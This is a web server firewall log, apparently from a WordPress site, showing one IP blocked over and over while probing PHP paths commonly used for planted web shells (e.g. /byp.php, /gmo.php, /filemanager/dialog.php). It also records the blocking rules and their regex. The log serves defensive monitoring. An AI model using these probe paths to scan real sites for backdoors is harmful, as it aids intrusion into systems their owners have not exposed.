[Tue Mar 24 01:08:05.433312 2026] [:error] [pid 56237:tid 56341] [client 20.220.216.188:29462] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "acFzdQymO0MnzQb90MMhggAAAJQ"]
[Tue Mar 24 01:08:05.848692 2026] [:error] [pid 56237:tid 56335] [client 20.220.216.188:29515] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "acFzdQymO0MnzQb90MMhhQAAAI4"]
[Tue Mar 24 01:08:06.261124 2026] [:error] [pid 56237:tid 56331] [client 20.220.216.188:29572] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "acFzdgymO0MnzQb90MMhhwAAAIo"]
[Tue Mar 24 01:08:06.672656 2026] [:error] [pid 56238:tid 56368] [client 20.220.216.188:29629] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "acFzdlSqceFAZRgPDq6WnQAAANQ"]
[Tue Mar 24 01:08:07.107388 2026] [:error] [pid 56435:tid 56520] [client 20.220.216.188:29445] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "acFzd8rwr-l5A-s9ryBvxwAAARM"]
[Tue Mar 24 01:08:07.647440 2026] [:error] [pid 56435:tid 56518] [client 20.220.216.188:29476] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "acFzd8rwr-l5A-s9ryBvywAAARE"]
[Tue Mar 24 01:08:08.107708 2026] [:error] [pid 56237:tid 56328] [client 20.220.216.188:29553] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "acFzeAymO0MnzQb90MMhjQAAAIc"]
[Tue Mar 24 01:08:08.521243 2026] [:error] [pid 56237:tid 56322] [client 20.220.216.188:29564] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "acFzeAymO0MnzQb90MMhjgAAAIE"]
[Tue Mar 24 01:08:08.937315 2026] [:error] [pid 56237:tid 56326] [client 20.220.216.188:29562] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "acFzeAymO0MnzQb90MMhkAAAAIU"]
[Tue Mar 24 01:08:09.358943 2026] [:error] [pid 56238:tid 56361] [client 20.220.216.188:29500] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "acFzeVSqceFAZRgPDq6WoAAAAM0"]
[Tue Mar 24 01:08:09.792581 2026] [:error] [pid 56237:tid 56321] [client 20.220.216.188:29544] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "acFzeQymO0MnzQb90MMhlQAAAIA"]
[Tue Mar 24 01:08:10.309421 2026] [:error] [pid 56435:tid 56514] [client 20.220.216.188:29538] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "acFzesrwr-l5A-s9ryBvzwAAAQ0"]
[Tue Mar 24 01:08:10.801445 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29520] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "acFzesrwr-l5A-s9ryBv0wAAAQE"]
[Tue Mar 24 01:08:11.276446 2026] [:error] [pid 56435:tid 56525] [client 20.220.216.188:29537] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "acFze8rwr-l5A-s9ryBv1wAAARg"]
[Tue Mar 24 01:08:11.724726 2026] [:error] [pid 56435:tid 56522] [client 20.220.216.188:29558] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "acFze8rwr-l5A-s9ryBv3AAAARU"]
[Tue Mar 24 01:08:12.139270 2026] [:error] [pid 56237:tid 56339] [client 20.220.216.188:29477] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "acFzfAymO0MnzQb90MMhlwAAAJI"]
[Tue Mar 24 01:08:12.550583 2026] [:error] [pid 56237:tid 56326] [client 20.220.216.188:29389] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "acFzfAymO0MnzQb90MMhmwAAAIU"]
[Tue Mar 24 01:08:12.973707 2026] [:error] [pid 56238:tid 56362] [client 20.220.216.188:29601] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "acFzfFSqceFAZRgPDq6WogAAAM4"]
[Tue Mar 24 01:08:13.431077 2026] [:error] [pid 56238:tid 56364] [client 20.220.216.188:29490] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "acFzfVSqceFAZRgPDq6WpAAAANA"]
[Tue Mar 24 01:08:13.843128 2026] [:error] [pid 56238:tid 56349] [client 20.220.216.188:29391] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "acFzfVSqceFAZRgPDq6WpgAAAME"]
[Tue Mar 24 01:08:14.324918 2026] [:error] [pid 56236:tid 56300] [client 20.220.216.188:29386] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "acFzfnapFgYp0uZ8twAepAAAAEc"]
[Tue Mar 24 01:08:14.774040 2026] [:error] [pid 56238:tid 56368] [client 20.220.216.188:29514] [client 20.220.216.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "acFzflSqceFAZRgPDq6WqwAAANQ"]
[Tue Mar 24 01:08:15.214366 2026] [:error] [pid 56238:tid 56350] [client 20.220.216.188:29385] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "acFzf1SqceFAZRgPDq6WrAAAAMI"]
[Tue Mar 24 01:08:15.629557 2026] [:error] [pid 56435:tid 56525] [client 20.220.216.188:29480] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "acFzf8rwr-l5A-s9ryBv4QAAARg"]
[Tue Mar 24 01:08:16.047232 2026] [:error] [pid 56236:tid 56295] [client 20.220.216.188:29591] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "acFzgHapFgYp0uZ8twAeqQAAAEI"]
[Tue Mar 24 01:08:16.534725 2026] [:error] [pid 56238:tid 56354] [client 20.220.216.188:29498] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "acFzgFSqceFAZRgPDq6WrwAAAMY"]
[Tue Mar 24 01:08:16.945733 2026] [:error] [pid 56435:tid 56507] [client 20.220.216.188:29467] [client 20.220.216.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "acFzgMrwr-l5A-s9ryBv5QAAAQc"]
[Tue Mar 24 01:08:17.359221 2026] [:error] [pid 56237:tid 56323] [client 20.220.216.188:29541] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "acFzgQymO0MnzQb90MMhnwAAAII"]
[Tue Mar 24 01:08:17.771536 2026] [:error] [pid 56237:tid 56338] [client 20.220.216.188:29631] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "acFzgQymO0MnzQb90MMhoAAAAJE"]
[Tue Mar 24 01:08:18.197614 2026] [:error] [pid 56435:tid 56515] [client 20.220.216.188:29620] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "acFzgsrwr-l5A-s9ryBv7QAAAQ4"]
[Tue Mar 24 01:08:18.616035 2026] [:error] [pid 56435:tid 56514] [client 20.220.216.188:29404] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "acFzgsrwr-l5A-s9ryBv8AAAAQ0"]
[Tue Mar 24 01:08:19.034791 2026] [:error] [pid 56435:tid 56499] [client 20.220.216.188:29566] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "acFzg8rwr-l5A-s9ryBv8QAAAQA"]
[Tue Mar 24 01:08:19.453986 2026] [:error] [pid 56238:tid 56362] [client 20.220.216.188:29475] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "acFzg1SqceFAZRgPDq6WsAAAAM4"]
[Tue Mar 24 01:08:19.871411 2026] [:error] [pid 56237:tid 56336] [client 20.220.216.188:29481] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "acFzgwymO0MnzQb90MMhpQAAAI8"]
[Tue Mar 24 01:08:20.292949 2026] [:error] [pid 56237:tid 56332] [client 20.220.216.188:29619] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "acFzhAymO0MnzQb90MMhqgAAAIs"]
[Tue Mar 24 01:08:20.711793 2026] [:error] [pid 56236:tid 56306] [client 20.220.216.188:29516] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "acFzhHapFgYp0uZ8twAerwAAAE0"]
[Tue Mar 24 01:08:21.147304 2026] [:error] [pid 56238:tid 56349] [client 20.220.216.188:29379] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "acFzhVSqceFAZRgPDq6WswAAAME"]
[Tue Mar 24 01:08:21.562016 2026] [:error] [pid 56236:tid 56293] [client 20.220.216.188:29388] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "acFzhXapFgYp0uZ8twAesQAAAEA"]
[Tue Mar 24 01:08:21.984052 2026] [:error] [pid 56236:tid 56296] [client 20.220.216.188:29499] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "acFzhXapFgYp0uZ8twAeswAAAEM"]
[Tue Mar 24 01:08:22.456382 2026] [:error] [pid 56236:tid 56307] [client 20.220.216.188:29329] [client 20.220.216.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "acFzhnapFgYp0uZ8twAetwAAAE4"]
[Tue Mar 24 01:08:22.898981 2026] [:error] [pid 56236:tid 56301] [client 20.220.216.188:29377] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "acFzhnapFgYp0uZ8twAeugAAAEg"]
[Tue Mar 24 01:08:23.311286 2026] [:error] [pid 56435:tid 56521] [client 20.220.216.188:29672] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "acFzh8rwr-l5A-s9ryBv-AAAARQ"]
[Tue Mar 24 01:08:23.760283 2026] [:error] [pid 56236:tid 56314] [client 20.220.216.188:29323] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "acFzh3apFgYp0uZ8twAevgAAAFU"]
[Tue Mar 24 01:08:24.181341 2026] [:error] [pid 56237:tid 56338] [client 20.220.216.188:29440] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "acFziAymO0MnzQb90MMhrQAAAJE"]
[Tue Mar 24 01:08:24.596539 2026] [:error] [pid 56236:tid 56295] [client 20.220.216.188:29662] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "acFziHapFgYp0uZ8twAewwAAAEI"]
[Tue Mar 24 01:08:25.010504 2026] [:error] [pid 56435:tid 56507] [client 20.220.216.188:29485] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "acFzicrwr-l5A-s9ryBv-QAAAQc"]
[Tue Mar 24 01:08:25.442136 2026] [:error] [pid 56236:tid 56309] [client 20.220.216.188:29426] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "acFziXapFgYp0uZ8twAexgAAAFA"]
[Tue Mar 24 01:08:25.919282 2026] [:error] [pid 56435:tid 56524] [client 20.220.216.188:29585] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "acFzicrwr-l5A-s9ryBv_wAAARc"]
[Tue Mar 24 01:08:26.359249 2026] [:error] [pid 56435:tid 56525] [client 20.220.216.188:29402] [client 20.220.216.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "acFzisrwr-l5A-s9ryBwBAAAARg"]
[Tue Mar 24 01:08:26.789904 2026] [:error] [pid 56435:tid 56501] [client 20.220.216.188:29317] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "acFzisrwr-l5A-s9ryBwBwAAAQI"]
[Tue Mar 24 01:08:27.221338 2026] [:error] [pid 56435:tid 56499] [client 20.220.216.188:29493] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "acFzi8rwr-l5A-s9ryBwCgAAAQA"]
[Tue Mar 24 01:08:27.634231 2026] [:error] [pid 56236:tid 56312] [client 20.220.216.188:29464] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "acFzi3apFgYp0uZ8twAezQAAAFM"]
[Tue Mar 24 01:08:28.046316 2026] [:error] [pid 56435:tid 56518] [client 20.220.216.188:29663] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "acFzjMrwr-l5A-s9ryBwDQAAARE"]
[Tue Mar 24 01:08:28.484887 2026] [:error] [pid 56236:tid 56317] [client 20.220.216.188:29479] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "acFzjHapFgYp0uZ8twAe0AAAAFg"]
[Tue Mar 24 01:08:28.902084 2026] [:error] [pid 56435:tid 56503] [client 20.220.216.188:29527] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "acFzjMrwr-l5A-s9ryBwDgAAAQQ"]
